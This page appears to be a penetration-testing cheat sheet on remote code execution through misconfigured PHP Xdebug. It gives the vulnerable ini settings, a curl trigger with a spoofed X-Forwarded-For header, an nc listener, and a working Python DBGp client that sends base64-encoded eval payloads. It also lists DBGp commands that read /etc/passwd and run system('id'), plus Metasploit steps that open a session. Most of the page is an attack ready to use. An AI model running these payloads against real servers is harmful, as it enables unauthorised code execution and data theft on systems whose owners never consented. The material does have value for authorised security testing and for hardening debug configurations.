Appearance
Xdebug ​
Xdebug is a debugging extension for PHP. If misconfigured, it can allow remote code execution (RCE) via the DBGp protocol.
⚠️ Note: Xdebug typically listens on port 9000 (or 9003 for v3+). Ensure this port is reachable from the attacker machine.
📚 Resource ​
Common insecure configuration ​
ini
# xdebug < 2.5.5
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1ini
# xdebug = 3.x
xdebug.mode = debug
xdebug.discover_client_host = 1
xdebug.client_host = 1How to exploit it ? ​
By default, the Xdebug expected a param :
http
http://vuln.site/?XDEBUG_SESSION_START=phpstromIf this GET paramter is pass in the URL, the server create a following cookie :
bash
> Set-Cookie: XDEBUG_SESSION=phpstrom;Listening for a Callback ​
Start a listener on your machine:
bash
nc -lvnp 4444And send the request to the server :
bash
curl -v -H "X-FORWARDED-FOR: x.x.x.x" http://vuln.site/index.php?XDEBUG_SESSION_START=phpstromIf you intercept the response, the exploit can begin!
Example response:
http
Listening on 0.0.0.0 4444
Connection received on x.x.x.x 35164
506<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="https://xdebug.org/dbgp/xdebug" fileuri="file:///index.php" language="PHP" xdebug:language_version="7.4.3" protocol_version="1.0" appid="2842990" idekey="phpstrom"><engine version="2.9.2"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[https://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2020 by Derick Rethans]]></copyright></init>Exploit ​
This Python script allows you to interactively send payloads to the DBGp server, which is listening on port 4444. Launch the curl request and interact with the script.
python
#!/usr/bin/python3
import socket
import base64
ip_port = ('0.0.0.0', 4444)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
print(f"[+] Connection waiting on port: {ip_port}...")
conn, addr = sk.accept()
print(f"[+] Connection from {addr}")
while True:
client_data = conn.recv(2048)
data = input('>> ')
encoded_data = base64.b64encode(data.encode())
payload = f'eval -i 1 -- {encoded_data.decode()}\x00'
print(client_data.decode())
conn.sendall(payload.encode())
conn.close()💡 Don’t forget to end your PHP lines with
;
In the code, you put a payload, and the script converts it into base64 and byte encoding.
Useful DBGp Commands ​
These commands can be used to forge payloads. For more details, check out the Xdebug documentation
bash
# read file
source -i $transaction_id -f fileURI
source -i 1 -f file:///etc/passwd\x00
source -i 1 -f php://filter/read=convert.base64-encode/resource=index.php\x00bash
# execute code
eval -i transaction_id -- $DATA # $DATA = PHP code in base64
eval -i 1 -- c3lzdGVtKCJpZCIpOw==\x00bash
# set property
property_set -n property_long_name -d $NUM -i $transaction_id -l $data_length -- $DATA
property_set -n $GLOBALS['cmd'] -d 1 -i 1 -l 2 -- bHM=-n= variable name-d= data type (1 = string)-l= data length-- {DATA}= Base64-encoded content
Alternatives if system(), passthru(), and similar functions are disabled ​
Use functions that do not require shell access, such as:
php
# Use function to display stdout without echo()
scandir('.')
file_get_contents('/path/to/resource')
file_put_contents('debug.php', 'scandir(".")')msfconsole ​
bash
search xdebug
use exploit/unix/http/xdebug_unauth_exec
show options
set PATH /file.php
set RHSOSTS site.vuln
set LHOST public_ip
set LPORT 4444 # Or other like: 8008, 9001 ...
run
sessions -i $id